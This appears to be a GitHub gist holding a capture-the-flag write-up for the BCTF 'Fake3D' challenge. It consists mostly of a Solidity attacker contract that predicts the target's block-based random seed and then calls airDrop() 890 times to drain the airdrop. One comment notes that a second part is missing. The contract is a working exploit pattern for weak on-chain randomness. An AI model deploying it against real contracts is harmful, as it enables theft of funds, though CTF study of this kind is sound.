Skip to content

Instantly share code, notes, and snippets.

@maojui
Last active December 7, 2018 09:51
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save maojui/0fcd10f83f5ce233c8ce618f3c1fbb88 to your computer and use it in GitHub Desktop.
Save maojui/0fcd10f83f5ce233c8ce618f3c1fbb88 to your computer and use it in GitHub Desktop.
BCTF Fake3D Writeup
contract Attacker{
using SafeMath for *;
constructor(Fake3D f3d) public {
uint256 seed = uint256(keccak256(abi.encodePacked(
(block.timestamp).add
(block.difficulty).add
((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add
(block.gaslimit).add
((uint256(keccak256(abi.encodePacked(address(f3d))))) / (now)).add
(block.number)
)));
if((seed - ((seed / 1000) * 1000)) < 288){
for(uint counter=0;counter<890;counter++){
f3d.airDrop();
}
}
}
}
@minhtt159
Copy link

you miss the 2nd part

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment